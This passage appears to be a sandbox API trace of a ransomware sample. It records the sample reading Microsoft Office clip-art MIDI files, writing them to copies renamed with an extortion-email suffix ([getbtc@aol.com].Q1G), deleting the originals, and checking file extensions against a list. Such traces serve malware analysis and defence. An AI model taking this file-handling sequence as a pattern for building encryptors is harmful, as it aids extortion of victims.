office\\clipart\\pub60cor\\music_01.mid")) returned 0x20 [0242.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.295] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.295] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.295] GetLastError () returned 0x0 [0242.295] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0242.300] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0242.301] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.301] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.301] SetEndOfFile (hFile=0x360) returned 1 [0242.301] CloseHandle (hObject=0x360) returned 1 [0242.301] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.301] SetEndOfFile (hFile=0x388) returned 1 [0242.303] CloseHandle (hObject=0x388) returned 1 [0242.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1 [0242.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.304] lstrlenW (lpString=".doc") returned 4 [0242.304] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.304] lstrlenW (lpString=".docx") returned 5 [0242.304] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.304] lstrlenW (lpString=".pdf") returned 4 [0242.304] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.304] lstrlenW (lpString=".xls") returned 4 [0242.304] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.304] lstrlenW (lpString=".xlsx") returned 5 [0242.304] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.304] lstrlenW (lpString=".ppt") returned 4 [0242.304] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.304] lstrlenW (lpString=".zip") returned 4 [0242.305] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.305] lstrlenW (lpString=".rar") returned 4 [0242.305] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.305] lstrlenW (lpString=".bz2") returned 4 [0242.305] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString=".7z") returned 3 [0242.305] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.305] lstrlenW (lpString=".dbf") returned 4 [0242.305] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.305] lstrlenW (lpString=".1cd") returned 4 [0242.305] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.305] lstrlenW (lpString=".jpg") returned 4 [0242.305] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.305] lstrlenW (lpString=".doc") returned 4 [0242.305] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.305] lstrlenW (lpString=".docx") returned 5 [0242.305] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.305] lstrlenW (lpString=".pdf") returned 4 [0242.305] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.305] lstrlenW (lpString=".xls") returned 4 [0242.305] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.305] lstrlenW (lpString=".xlsx") returned 5 [0242.306] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.306] lstrlenW (lpString=".ppt") returned 4 [0242.306] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.306] lstrlenW (lpString=".zip") returned 4 [0242.306] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.306] lstrlenW (lpString=".rar") returned 4 [0242.306] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.306] lstrlenW (lpString=".bz2") returned 4 [0242.306] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.306] lstrlenW (lpString=".7z") returned 3 [0242.306] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.306] lstrlenW (lpString=".dbf") returned 4 [0242.306] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.306] lstrlenW (lpString=".1cd") returned 4 [0242.306] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63 [0242.306] lstrlenW (lpString=".jpg") returned 4 [0242.306] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.306] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.306] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0242.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.354] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=5968) returned 1 [0242.354] CloseHandle (hObject=0x204) returned 1 [0242.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0242.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.378] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.378] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.379] GetLastError () returned 0x0 [0242.379] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1750, lpOverlapped=0x0) returned 1 [0242.380] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0242.381] ReadFile (in: hFile=0x360, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.381] WriteFile (in: hFile=0x200, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.382] SetEndOfFile (hFile=0x200) returned 1 [0242.382] CloseHandle (hObject=0x200) returned 1 [0242.382] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.382] SetEndOfFile (hFile=0x360) returned 1 [0242.413] CloseHandle (hObject=0x360) returned 1 [0242.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0242.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.426] lstrlenW (lpString=".doc") returned 4 [0242.426] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.426] lstrlenW (lpString=".docx") returned 5 [0242.426] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.426] lstrlenW (lpString=".pdf") returned 4 [0242.426] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.426] lstrlenW (lpString=".xls") returned 4 [0242.426] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.426] lstrlenW (lpString=".xlsx") returned 5 [0242.426] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.426] lstrlenW (lpString=".ppt") returned 4 [0242.426] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.426] lstrlenW (lpString=".zip") returned 4 [0242.426] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.426] lstrlenW (lpString=".rar") returned 4 [0242.426] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.426] lstrlenW (lpString=".bz2") returned 4 [0242.426] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.426] lstrlenW (lpString=".7z") returned 3 [0242.426] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.426] lstrlenW (lpString=".dbf") returned 4 [0242.426] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.426] lstrlenW (lpString=".1cd") returned 4 [0242.427] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.427] lstrlenW (lpString=".jpg") returned 4 [0242.427] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.427] lstrlenW (lpString=".doc") returned 4 [0242.427] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.427] lstrlenW (lpString=".docx") returned 5 [0242.427] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.427] lstrlenW (lpString=".pdf") returned 4 [0242.427] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.427] lstrlenW (lpString=".xls") returned 4 [0242.427] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.427] lstrlenW (lpString=".xlsx") returned 5 [0242.427] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.427] lstrlenW (lpString=".ppt") returned 4 [0242.427] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.427] lstrlenW (lpString=".zip") returned 4 [0242.427] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.427] lstrlenW (lpString=".rar") returned 4 [0242.427] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.427] lstrlenW (lpString=".bz2") returned 4 [0242.427] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.427] lstrlenW (lpString=".7z") returned 3 [0242.427] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.427] lstrlenW (lpString=".dbf") returned 4 [0242.428] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.428] lstrlenW (lpString=".1cd") returned 4 [0242.428] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0242.428] lstrlenW (lpString=".jpg") returned 4 [0242.428] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.428] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.428] lstrlenW (lpString="PARNT_03.MID") returned 12 [0242.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.428] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=8538) returned 1 [0242.428] CloseHandle (hObject=0x200) returned 1 [0242.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0242.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.429] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.429] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0242.429] GetLastError () returned 0x0 [0242.429] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x215a, lpOverlapped=0x0) returned 1 [0242.431] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2160, lpOverlapped=0x0) returned 1 [0242.432] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.432] WriteFile (in: hFile=0x360, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.432] SetEndOfFile (hFile=0x360) returned 1 [0242.432] CloseHandle (hObject=0x360) returned 1 [0242.432] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.432] SetEndOfFile (hFile=0x200) returned 1 [0242.434] CloseHandle (hObject=0x200) returned 1 [0242.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0242.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.435] lstrlenW (lpString=".doc") returned 4 [0242.435] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.435] lstrlenW (lpString=".docx") returned 5 [0242.435] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0242.435] lstrlenW (lpString=".pdf") returned 4 [0242.435] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.435] lstrlenW (lpString=".xls") returned 4 [0242.435] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.435] lstrlenW (lpString=".xlsx") returned 5 [0242.435] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0242.435] lstrlenW (lpString=".ppt") returned 4 [0242.435] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.436] lstrlenW (lpString=".zip") returned 4 [0242.436] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.436] lstrlenW (lpString=".rar") returned 4 [0242.436] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.436] lstrlenW (lpString=".bz2") returned 4 [0242.436] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.436] lstrlenW (lpString=".7z") returned 3 [0242.436] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.436] lstrlenW (lpString=".dbf") returned 4 [0242.436] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.436] lstrlenW (lpString=".1cd") returned 4 [0242.436] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.436] lstrlenW (lpString=".jpg") returned 4 [0242.436] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.436] lstrlenW (lpString=".doc") returned 4 [0242.436] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.436] lstrlenW (lpString=".docx") returned 5 [0242.436] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0242.436] lstrlenW (lpString=".pdf") returned 4 [0242.437] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.437] lstrlenW (lpString=".xls") returned 4 [0242.437] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.437] lstrlenW (lpString=".xlsx") returned 5 [0242.437] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0242.437] lstrlenW (lpString=".ppt") returned 4 [0242.437] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.437] lstrlenW (lpString=".zip") returned 4 [0242.437] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.437] lstrlenW (lpString=".rar") returned 4 [0242.437] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.437] lstrlenW (lpString=".bz2") returned 4 [0242.437] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.437] lstrlenW (lpString=".7z") returned 3 [0242.437] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.437] lstrlenW (lpString=".dbf") returned 4 [0242.437] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.437] lstrlenW (lpString=".1cd") returned 4 [0242.437] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.437] lstrlenW (lpString=".jpg") returned 4 [0242.437] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.437] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.437] lstrlenW (lpString="PARNT_04.MID") returned 12 [0242.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.440] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=6070) returned 1 [0242.440] CloseHandle (hObject=0x200) returned 1 [0242.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0242.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.441] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.441] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 